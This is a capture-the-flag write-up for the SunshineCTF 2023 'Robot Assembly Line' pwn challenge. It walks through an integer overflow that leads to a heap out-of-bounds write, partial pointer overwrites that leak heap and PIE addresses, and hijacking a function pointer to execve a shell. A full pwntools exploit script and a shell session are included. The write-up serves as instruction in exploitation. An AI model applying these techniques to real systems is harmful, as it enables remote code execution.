SunshineCTF 2023 - Robot Assembly Line

We found the robotic turret assembly line control station! Can you break in to corrupt all of the robot turrets that are being manufactured?

nc chal.2023.sunshinectf.games 23000

Author: kcolley

Team: Weak But Leet

Attachment: robots-assemble xpl.py

Enter number of robot turrets to manufacture:
10
Initializing turret #1. Name?
AAAA
IQ for robot AAAA?
100
Should robot AAAA be self-aware?
y
Should robot AAAA be evil?
y
Self-destruct time for robot AAAA (in microseconds)?
1000
AAAA: "There you are."
Initializing turret #2. Name?
AAAA: "Aaaah"

The challenge is about creating robot objects, which will then just call a robot_self_destruct function after the specified time.

long robot_assembly_line()
{
  locked_printf("Enter number of robot turrets to manufacture:\n");

  if ( !read_line(&g_line, 100, 0) )
    return -1;

  if ( __isoc99_sscanf(&g_line, "%zu", &count) != 1 )
    return -1;

  size_t size = round_up(0x30 * count, 0x30);

  buffer = malloc(size);
  memset(buffer, 0, size);

  g_slot = malloc(0x10);

  for ( i = 0; i < count; ++i )
  {
    long result = Robot_assemble((Robot *)buffer + i, i + 1);
    if ( result )
      return result;
  }
  return 0;
}

When specifying the number of turrets, it will calculate the needed size for the buffer for storing the robot objects with round_up and allocate a buffer for it. Then it will loop through the robots, read the data for it and start a timer thread.

long Robot_assemble(Robot *bot, long bot_idx)
{  
  locked_printf("Initializing turret #%zu. Name?\n", bot_idx);
  if ( !read_line(bot, 10, 0) )
    return -1;

  locked_printf("IQ for robot %s?\n", bot->name);
  if ( !read_line(&g_line, 100, 0) || __isoc99_sscanf(&g_line, "%u", &bot->IQ) != 1 )
    return -1;

  locked_printf("Should robot %s be self-aware?\n", bot->name);
  if ( !read_line(&g_line, 100, 0) )
    return -1;  
  bot->self_aware = tolower(g_line) == 'y';

  locked_printf("Should robot %s be evil?\n", bot->name);
  if ( !read_line(&g_line, 100, 0) )
    return -1;  
  bot->is_evil = tolower(g_line) == 'y';

  locked_printf("Self-destruct time for robot %s (in microseconds)?\n", bot->name);
  if ( !read_line(&g_line, 100, 0) || __isoc99_sscanf(&g_line, "%lu", &self_destruct_time) != 1 )
    return -1;

  char* hello_msg = random_hello_message();
  locked_printf("%s: \"%s\"\n", bot->name, hello_msg);

  Timer_start(self_destruct_time, robot_self_destruct, bot);
  return 0;
}

robot_self_destruct itself will print the name of the robot and a random death message.

unsigned long robot_self_destruct(char* bot_name)
{
  char *death_message = random_death_message();
  return locked_printf("%s: \"%s\"\n", bot_name, death_message);
}

So far, so good… If we’re nice and only entering valid sizes for the robot array…

size = round_up(0x30 * count, 0x30);

buffer = malloc(size);
  
for ( i = 0; i < count; ++i )

robot_assembly_line calculates the size for the buffer object with round_up, but uses the entered count for the loop.

unsigned long round_up(long val, unsigned long size)
{
  unsigned long result = (val + size - 1) / size * size;

  if ( !result )
    result = size;

  return result;
}

This screams for integer overflow. If we provide a count big enough, that val + size - 1 will overflow and then be smaller than size * size, result would be 0 and round_up will return the minimum size 0x30, but the following loop uses our huge count for reading the robot objects.

This will lead to an out of bounds write via the robot objects, with which we can overwrite the timer structs for previous robots.

Let’s set this up

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "chal.2023.sunshinectf.games"
PORT =  23000
PROCESS = "./robots-assemble"

def setrobot(name, iq, selfaware, evil, timer):
    r.recvline()
    r.send(name)
    r.recvline()
    r.sendline(str(iq))
    r.recvline()
    r.sendline("y" if selfaware else "n")
    r.recvline()
    r.sendline("y" if evil else "n")
    r.recvline()
    r.sendline(str(timer))

def exploit(r):
    r.recvline()
    pause()
    r.sendline(str(0xffffffffffffffff/0x30))

    setrobot("A"*10, 100, True, True, 40*1000*1000)
    setrobot("A"*10, 100, True, True, 40*1000*1000)
    setrobot("\n", 0, False, False, 2*1000*1000)
    setrobot("\n", 0, False, False, 4*1000*1000)

    r.recvuntil("Name?\n")

    r.interactive()

    return


if __name__ == "__main__":
    e = ELF("./robots-assemble")
    libc = ELF("./libc.so.6")

    if len(sys.argv) > 1:
        LOCAL = False
        r = remote(HOST, PORT)
    else:
        LOCAL = True
        r = process("./robots-assemble", env={"LD_PRELOAD":"./libc.so.6"})
        print(util.proc.pidof(r))
        pause()

    exploit(r)

This will setup the buffer object with malloc(0x30), which creates a 0x40 chunk, which has enough room for 2 robots, but it will then create 4 robots. Thus, robots 2 and 3 will overwrite the timer struct for robots 0 and 1. If robots 0 or 1 would try to execute it’s death function now, it would segfault, since they’re overwritten with junk. Because of that, we gave them a huge execution time to avoid them to be executed at all.

The reasoning behind creating 4 robots in the start is to move down the heap, so that the pointer in the timer struct points to a heap area, where we can make it point to some useful data with just a one byte overwrite (we could have also tried to do a nibble bruteforce, but let’s keep it clean, so that no bruteforce is needed).

Let’s check the heap, while the objects are created, to get a better understanding what’s happening.

After creating the first two robots, the heap will look like this

0x55555555a3b0:	0x0000000000000000	0x0000000000000041
0x55555555a3c0:	0x4141414141414141	0x0000006401014141 <= robot buffer (bot 0)
0x55555555a3d0:	0x0000000000000000	0x0000000000000000
0x55555555a3e0:	0x0000000000000000	0x0000000000000000
0x55555555a3f0:	0x4141414141414141	0x0000006401014141 <= bot 1
0x55555555a400:	0x0000000000000000	0x0000000000000000
0x55555555a410:	0x0000000000000000	0x0000000000000031
0x55555555a420:	0x000055555555a3c0	0x00005555555559c0 <= timer for bot 0
0x55555555a430:	0x000055555555a460	0x00000000652281ca
0x55555555a440:	0x000000001399a4ac	0x0000000000000031
0x55555555a450:	0x000055555555a3f0	0x00005555555559c0 <= timer for bot 1
0x55555555a460:	0x0000000000000000	0x00000000652281ca
0x55555555a470:	0x0000000013a0b420	0x0000000000020b91

The timer object for every bot will contain a pointer to the bot itself, a pointer to the self_destruct function and the time, after which it should be executed.

Since the buffer was allocated too small, the current input function for bot 2 will read data to 0x55555555a420, which is also the timer object for bot 0. But since we have no leak by now, and there’s nothing interesting in the heap from 0x000055555555a300 to 0x000055555555a3ff, we just create more robots, so that the robot pointer for a timer object will point to 0x000055555555a4XX.

Then we can do a one byte overwrite and let it point somewhere else, which contains more useful data.

After creating bots 2 and 3

0x55555555a3b0:	0x0000000000000000	0x0000000000000041
0x55555555a3c0:	0x4141414141414141	0x0000006401014141 <= buffer (bot 0)
0x55555555a3d0:	0x0000000000000000	0x0000000000000000
0x55555555a3e0:	0x0000000000000000	0x0000000000000000
0x55555555a3f0:	0x4141414141414141	0x0000006401014141 <= bot 1
0x55555555a400:	0x0000000000000000	0x0000000000000000
0x55555555a410:	0x0000000000000000	0x0000000000000031
0x55555555a420:	0x000055555555a300	0x00000000000059c0 <= bot 2 (timer bot 0)
0x55555555a430:	0x000055555555a460	0x00000000652282ed
0x55555555a440:	0x0000000022c5b8d8	0x0000000000000031
0x55555555a450:	0x000055555555a300	0x00000000000059c0 <= bot 3 (timer bot 1)
0x55555555a460:	0x0000000000000000	0x00000000652282ed
0x55555555a470:	0x0000000022ccb9a8	0x0000000000000031
0x55555555a480:	0x000055555555a420	0x00005555555559c0 <= timer bot 2 (bot 4)
0x55555555a490:	0x000055555555a4c0	0x00000000652282cc
0x55555555a4a0:	0x000000000571a3f5	0x0000000000000031
0x55555555a4b0:	0x000055555555a450	0x00005555555559c0 <= timer bot 3 (bot 5)
0x55555555a4c0:	0x000055555555a430	0x00000000652282ce
0x55555555a4d0:	0x00000000057699bd	0x0000000000020b31

Now, the robot pointer of the timer object for bot 2 points to 0x000055555555a420 and there are a lot more useful addresses in the range, that we can now reach with overwriting only the LSB byte. Let’s point it to 0x55555555a490.

Remember, bot 2 is already running and we’re currently entering the name for bot 4. So we can just send one byte (but no newline), which will overwrite the name pointer, and then we just wait for bot 2 trying to self-destruct.

# partial overwrite bot name to leak heap address
r.send(p8(0x90))

HEAPLEAK = u64(r.recvuntil(":", drop=True).ljust(8, "\x00"))
log.info("HEAP leak      : %s" % hex(HEAPLEAK))

When bot 2 now self-destructs, it will print its name, which points to 0x55555555a490 and thus prints a heap-address, which we can read.

Since we now have a complete heap address, we can overwrite more than only the least significant byte of an address.

We’ll finish entering the data for bot 4 (the input method is still waiting for us to finish the input), so that we can start entering data for bot 5, which is also the timer for bot 3 (which hasn’t terminated yet).

def finish_bot_input():
    r.sendline()
    r.recvline()
    r.sendline("1")
    r.recvline()
    r.sendline("y")
    r.recvline()
    r.sendline("y")
    r.sendline(str(9999999))
    r.recvuntil("Name?\n")

def exploit(r):
    ...
    ...
    finish_bot_input()

    # partial overwrite bot name to leak elf address
    PIETARGET = HEAPLEAK + 0x28 
    r.send(p16(PIETARGET & 0xffff))

    PIELEAK = u64(r.recvuntil(":", drop=True).ljust(8, "\x00"))
    e.address = PIELEAK - 0x19c0

    log.info("PIE leak        : %s" % hex(PIELEAK))
    log.info("ELF             : %s" % hex(e.address))

This will now again overwrite the robot pointer in the next timer object and lets it point to the robot_self_destruct function pointer in the timer object. With this we can leak and calculate the base address of the binary.

We could also have leaked a libc address from the pthread object in the heap this way and call system("/bin/sh"), but the binary also contains a wat function, which we can use to solve it completely without relying on libc at all.

.text:0000000000001E22 wat
.text:0000000000001E22   endbr64
.text:0000000000001E26   push    rbp
.text:0000000000001E27   mov     rbp, rsp
.text:0000000000001E2A   call    _rand
.text:0000000000001E2F   test    eax, eax
.text:0000000000001E31   jns     short loc_1E47
.text:0000000000001E33   mov     edx, (offset dword_0+3) ; envp
.text:0000000000001E38   mov     esi, (offset dword_0+2) ; argv
.text:0000000000001E3D   mov     edi, (offset dword_0+1) ; path
.text:0000000000001E42   call    _execve
.text:0000000000001E47
.text:0000000000001E47 loc_1E47:
.text:0000000000001E47   nop
.text:0000000000001E48   pop     rbp
.text:0000000000001E49   retn
.text:0000000000001E49 wat             endp

Though calling wat itself, would call rand and then just return, since the result will probably never be 0. Also jumping anywhere before 0x1E42 would fill the parameters with junk making execve fail.

Since the robot_self_destruct function will be called with its first argument pointing to our robot object itself, we luckily don’t need anything else than the execve call, so we can just overwrite robot_self_destruct with elfbase + 0x1e42, which will then call execve(botname, 0, 0).

Just put a /bin/sh into the name of a bot and overwrite the robot pointer in the next timer object with it and overwrite robot_self_destruct with elfbase + 0x1e42 and then just… wait…

def exploit(r):
    r.recvline()
    r.sendline(str(0xffffffffffffffff/0x30))

    setrobot("/bin/sh\x00\n", 100, True, True, 40*1000*1000)
 
    ...
    ...

    finish_bot_input()

    # partial overwrite bot function to execute execve(botname)
    WATTARGET = e.address + 0x1e42
    log.info("WAT target      : %s" % hex(WATTARGET))

    payload = p64(HEAPLEAK - 0x100) + p16(WATTARGET & 0xffff)
    
    r.send(payload)

    log.info("Wait for bot to die to trigger shell")
    time.sleep(9)
[*] '/media/sf_ctf/sunshine23/ral/robots-assemble'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/media/sf_ctf/sunshine23/ral/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to chal.2023.sunshinectf.games on port 23000: Done
[*] HEAP leak       : 0x56070889d4c0
[*] PIE leak        : 0x5607073239c0
[*] ELF             : 0x560707322000
[*] WAT target      : 0x560707323e42
[*] Wait for bot to die to trigger shell
[*] Switching to interactive mode
IQ for robot ��\x8\x07?
$ ls
flag.txt
$ cat flag.txt
sun{t4rg3t_l0s7_4r3_y0u_st1ll_th3r3?}